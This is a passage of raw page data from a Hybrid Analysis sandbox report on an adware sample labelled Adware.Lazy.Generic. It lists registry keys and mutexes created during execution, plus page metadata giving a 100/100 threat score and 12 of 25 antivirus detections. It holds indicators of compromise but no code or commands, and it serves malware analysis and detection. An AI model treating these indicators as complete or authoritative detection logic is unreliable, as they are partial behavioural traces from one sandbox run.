"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\CLSID\\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\CLSID\\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\\INPROCSERVER32\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\CLSID\\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\CLSID\\{2A312136-64B5-44E1-B6A2-E6CD1130EF62}\\INPROCHANDLER32\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\CLSID\\{2A312136-64B5-44E1-B6A2-E6CD1130EF62}\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4224:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4224:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:4224:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Local\\SM0:4224:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3232:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3232:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3232:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Local\\SM0:3232:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Local\\SM0:3232:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:3232:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:3232:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3232:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7728:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7728:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\_Microsoft_EdgeUpdate_logging_mutex_C:ProgramDataMicrosoftEdgeUpdateLogMicrosoftEdgeUpdate.log","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\BaseNamedObjects\\EdgeUpdate{F340B839-380B-4AA9-BA6F-B83F23E2DD05}","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\BaseNamedObjects\\EdgeUpdate{DDDDEAEB-04CC-4BAA-9C63-CCA5FE38F688}","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7728:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7728:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Local\\SM0:7728:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"_Microsoft_EdgeUpdate_logging_mutex_C:ProgramDataMicrosoftEdgeUpdateLogMicrosoftEdgeUpdate.log","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:7728:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Local\\SM0:7728:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:7728:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7992:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7992:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Local\\SM0:7992:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:7992:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5096:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5096:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:5096:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Local\\SM0:5096:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6152:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6152:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:6152:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Local\\SM0:6152:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1176:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1176:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:1176:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Local\\SM0:1176:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5284:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5284:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:5284:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Local\\SM0:5284:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7636:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7636:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Local\\SM0:7636:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:7636:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7592:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7592:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Local\\SM0:7592:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:7592:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7748:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7748:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Local\\SM0:7748:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:7748:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4952:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:4952:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\BaseNamedObjects\\WEBR_3G1ZQTX9V97Z","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:5500:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5500:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2136:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Local\\SM0:2136:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:2136:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:2136:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Local\\SM0:2136:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2136:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2136:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2136:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\BaseNamedObjects\\WdsSetupLogInit","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\SetupLog","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Global\\SetupLog","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4272:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:4272:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8188:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"SM0:8188:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]}]}},"report_ids":{"sandbox_job_ids":["6ab41a51c98eee8ef101e61c"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Adware.Lazy.Generic Sample 0a4048ebe7a6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 0a4048ebe7a6…. Malware family: Adware.Lazy.Generic. Threat score 100/100. 12/25 AV engines flagged this file. 23 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4"}],["$","meta","4",{"property":"og:title","content":"Malicious Adware.Lazy.Generic Sample 0a4048ebe7a6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 0a4048ebe7a6…. Malware family: Adware.Lazy.Generic. Threat score 100/100. 12/25 AV engines flagged this file. 23 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Adware.Lazy.Generic Sample 0a4048ebe7a6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 0a4048ebe7a6…. Malware family: Adware.Lazy.Generic. Threat score 100/100. 12/25 AV engines flagged this file. 23 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L7b","11",{}]]